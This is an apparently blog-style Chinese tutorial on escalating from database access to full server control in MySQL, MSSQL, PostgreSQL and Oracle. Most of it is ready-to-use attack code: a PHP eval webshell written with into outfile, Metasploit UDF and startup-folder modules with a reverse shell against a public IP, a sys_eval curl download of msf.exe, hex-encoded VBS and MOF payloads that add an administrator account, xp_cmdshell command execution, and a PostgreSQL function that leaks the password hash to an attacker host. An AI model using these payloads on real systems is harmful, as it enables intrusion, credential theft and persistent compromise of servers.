数据库提权总结 - 随风kali - 博客园 (cnblogs.com)
MySQL 漏洞利用与提权 | 国光 (sqlsec.com)
sql注入getshell的几种方式
第99天:权限提升-数据库提权&口令获取&MYSQL&MSSQL&Oracle&MSF
SQL
注入拿shell
的方式应该是通用的得到连接数据库权限之后,利用本身自带的方式从数据库权限提升到机器的权限,本文中的其他数据库利用方式也是这样的,利用自身的漏洞或者配置问题从数据库权限提权得到整个机器的权限,跟Webshell
是一样得到道理只是对象从网站80
换成了数据库3306
等等,最终的目标就是拿到机器权限,网站是上传exe
数据库大多数是执行语句反弹…
除Access数据库外,其他数据库基本都存在数据库提权的可能)
下列备份配置文件一般会存储加密后的数据库连接密码,拿去解密即可得到明文连接进行后续提权操作,提权前置基础都是取得了账户密码连接数据库[//]: # (select version()或者数据库版本选择对应的导出方式) 并且安全模式没有限制写入如果限制了就宣告失败,提权都是需要写文件进去的
或者是inc目录下conn
或者data
文件
SQL注入Webshell
into outfile
导出函数
into outfile
是MySQL
数据库中的一个导出函数,它可以将查询结果写入到文件中
条件
root
权限可以读写使用单引号- 知晓网站根目录绝对路径[//]: # (SELECT @@basedir; 可以知晓mysql的安装路径 \Extensions\MySQL8.0.12)
secure_file_priv
[//]: # (筛Q飞来普瑞死)没有具体 限在mysql 5.6.34
版本以后secure_file_priv
的值默认为null
show global variables like "%secure%"; // 查询secure_file_priv属性开启状态
如下情况代表无法写入,修改这个值只能手动
为空使用此语句写入文件到特定目录 saber
为语句内容,写入成功则根据目录连接webshell
// 有就创建没有就写入,前提是可写并且知道网站根目录select 'saber' into outfile 'C:/Users/abc/Desktop/66.txt'; select '<?php eval($_GET[pass]);?>' into outfile 'B:\\phpstudy_pro\\WWW\\webshell\\saber.php';
load_file
读文件
读取函数会在页面上回显出文件内的信息
条件
- 存在开启日志记录和更换日志
root
权限 - 知晓网站根目录绝对路径
secure_file_priv
值允许对该路径下的文件进行操作((为空或有路径)
日志写shell
日志改为脚本文件,将shell
记录进日志来写shell
,与导出函数写shell
相比,规避了 secure_file_priv
的限制
- 存在开启日志记录和更换日志
root
权限 - 知晓网站根目录绝对路径
os-shell
Oracle
数据库不支持
原理
通过into oufil
向服务器写入两个文件,,一个进行上传文件一个可以直接执行系统命令,首先上传第一个可以上传文件的php
,再通过这个可以上传文件的php
去上传可以命令执行的php
,并将输出的内容返回sqlmap
端
第一步向目标靶机写一个上传的webshell脚本,然后利用上传脚本上传一个执行系统命令的webshell
此为sqlmap
的一个命令,--os-shell
就是使用udf
提权获取WebShell
条件
- 知晓网站根目录绝对路径
secure_file_priv
[//]: # (筛Q飞来普瑞死)没有具体 限在mysql 5.6.34
版本以后secure_file_priv
的值默认为null
- 要求为数据库
DBA
,--is-dba
检查当前网站连接的数据库账号是否为mysql user
表中的管理员如root
- 高权限用户
tmpbeewq.php 用来执行系统命令
tmpuqvgw.php 用来上传文件
MySQL提权 3306
默认不支持外联
条件
- **服务器开启数据库服务 **
- 获得最高权限用户 应该无所谓本来就是为了拿机器权限而不是数据库权限
**secure_file_priv**
** 无限制**
UDF
提权
原理
UDF
拓展接口 自定义函数,是数据库功能的一种扩展。用户通自定义函数可以实现在 MySQL
中无法方便实现的功能,其添加的新函数都可以在 SQL
语句中调用
注意:
如果是 MySQL >= 5.1
的版本,必须把 UDF
的动态链接库文件放置于 MySQL
安装目录下的lib\plugin
文件夹下文件夹下才能创建自定义函数,常用的工具 sqlmap
和 Metasploit
里面都自带了对应系统的动态链接库文件;,不能直接用怕被杀还需要解码,
mysql<5.2 导出目录 c:/windows或system32
mysql=>5.2 导出安装目录 /lib/plugin/ (没有就手工创建)
// 获取mysql的安装路径 \Extensions\MySQL8.0.12\SELECT @@basedir;
MSF
模块UDF
提权
MSF
模块提供了UDF
提权功能,它会将dll
文件写入lib\plugin\
目录下,该dll
文件中包含sys_exec()
和sys_eval()
两个函数,但是默认只创建sys_exec()
函数,该函数执行并不会有回显。我们可以手动创建 sys_eval()
函数,来执行有回显的命令 (前提开始外链,命令开启)
# 允许外部连接但另外条件是必须为空允许写入 secure_file_priv="",但是已经得到权限了那么自然这里也是为空
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
命令执行后创建%
代表是允许任何用户连接,可以用navicat
数据库远程连接,哥斯拉这类工具可以连接的原因是以为是利用webshell
脚本去连接,等于是内部至内部过程,navicat
属于外部连接内部,MSF
连接前也需要是允许外链才可以
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set username root
set rhosts 47.102.195.100
run
执行后在网站安装目录下写入dll
文件
上传完成后在数据库执行语句创建函数绑定该上传的dll
,上传了dll
后才能执行绑定的命令
create function sys_eval returns string soname "saber.dll";
从而利用绑定好的函数里面的eval
执行系统命令,既然可以执行系统命令那么可以远程下载文件造成木马上线主机.我们一直连接的是数据库并权限不是web
权限,所以不能直接上线的,数据库里面只有表只能通过执行命令上线,不要误解了,远程上线操作在文章中体现,远程下载exe
执行
select sys_eval('curl http://192.168.172.131:8000/msf.exe --output msf.exe');
详细过程看上面文章
创建自定义函数并调用命令
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
导入成功后查看一下 mysql
函数里面是否新增了 sys_eval
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
名称支持自定义,然后利用此函数执行命令比如增加用户
mysql > select sys_eval('whoami');
UDF一键提权
利用暗月师傅的马子 正常上传上去,然后一键提权
启动项提权
原理
mysql
把一段vbs
脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs
脚本里面的命令
mysql
写入启动项
mysql > select 0xfaba7dcce8bc7a0273ae516626177f0b826970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";
MSF
启动项模块
利用MSF
模块向机器启动目录上传木马文件,开启监听服务器重启后执行上线exe
use exploit/windows/mysql/mysql_start_up
set rhosts 47.102.195.100
set username root
set password root
set AllowNoCleanup true
run
反弹shell
提权
Mysql提权之反弹shell
原来和UDF
一致都是写入.dll
文件创建命令执行语句这个要写入的太多了用的时候在文章里粘贴吧
nc -vvp 7788 // 攻击机监听端口
MOF
提权
支持提权版本只有2003
和一些之前的版本
原理
MOF
文件每五秒就会执行,而且是系统权限,我们通过mysql
使用load_file
将文件入/wbme/mof
,然后系统每隔五秒就会执行一次我们上传的MOF
文件。MOF
当中有一段是vbs
脚本,通过控制这段vbs
脚本的内容比如创建用户这些,进行提权
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter
{ EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL";
}; instance of ActiveScriptEventConsumer as $Consumer
{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
}; instance of __FilterToConsumerBinding
{ Consumer = $Consumer; Filter = $EventFilter;
};
利用 into dumpfile
导出函数写入文件到指定目录
mysql > select 0x23ADd49dfDEF107045BD69845DDaDbb7293B819f5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";
MSSQL/SQL Server提权 1433
Getshell
sqlserver命令注入和getshell
通过Mssql提权的几种姿势 - N0r4h
条件
- 前提得知绝对路径,并且可写
- 站库不分离 站库是一体的
- 数据库必须被备份过一次
xp_cmdshell
提权
xp_cmdshell
作用类似于mysql udf
,其本质是一些sql
语句的集合
如果xp_cmdshell
被删除了,可以上传xplog70.dll
进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
注意:
xp_cmdshell
在mssql2000
中开启,在2005之后就是默认禁止的,我们需要Systemadmin Sa
权限来开启xp_cmdshell
开启命令
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'x p_cmdshell', 0;
reconfigure;
EXEC master.dbo.xp_cmdshell 'whoami' // 执行命令脚本
sp_oacreate
可以删除、复制、移动文件,可以配合sp_oamethod
来写文件执行cmd
,原理调用OLE
对象,利用OLE
对象的run
方法执行系统命令但是此方法没有回显 所以一般用于xp_cmdshell
无法使用时
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE; 关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
调用cmd
写入文件
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
沙盒提权
执行命令方法无法使用时,可以使用沙盒进行提权,属于一种安全功能,操作看开篇文章吧
条件
PostgreSQL数据库 5432
PostgreSQL
关系型数据库9.3-11
版本存在一处特性.管理员或者具有'COPY TO/FROM PROGRAM'
权限的用户,可以使用此特性执行任意命令
提权利用漏洞CVE-2018-1058
CVE-2019-9193
CVE-2018-1058 管理员触发反弹
漏洞复现本地Docker
启动环境
普通用户登录执行SQL
语句执行反弹shell,管理员用户操作数据库触发sql语句即可反弹
docker compose up -d
通过提供的普通用户账户密码连接PostgreSQL
数据库准备执行反弹shell
语句,注意修改其中的IP
地址,改为攻击机的地址,也就是反弹给谁
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$select dblink_connect((select 'hostaddr=192.168.111.131 port=5432 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
打开Kali
启动NC
监听,接下来就是等待管理员操作数据库的时候就会触发反弹shell
nc -lvvp 5432
漏洞复现假装自己是管理员操作了数据库,攻击机机会收到返回的shell
但是我没有任何反应
docker compose exec postgres pg_dump -U postgres -f evil.bak vulhub
CVE-2019-9193 命令执行
Postgres
默认的5432
端口,默认账号密码为postgres/postgres
。
默认管理员账户密码,登录上去后直接命令执行的POC
这个是SQL
语句所以数据库提权都是围绕执行SQL
语句
docker compose up -d
Docker
镜像一直拉不下来,开启在线的Vulhub
靶场了,通过给到的地址和账户密码连接数据
选择新建查询后执行带有命令执行的SQL
语句成功回显,替换远程下载木马不就是可以拿到权限了
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id'; // cat /etc/passwd
SELECT * FROM cmd_exec;
Oracle提权 1521
oracle提权执行命令工具oracleShell v0.1
注入存储过程提权
SYS
创建的存储过程存在sql
注入。拥有create procedure
权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan
命令,获得Oracle
数据库dba
权限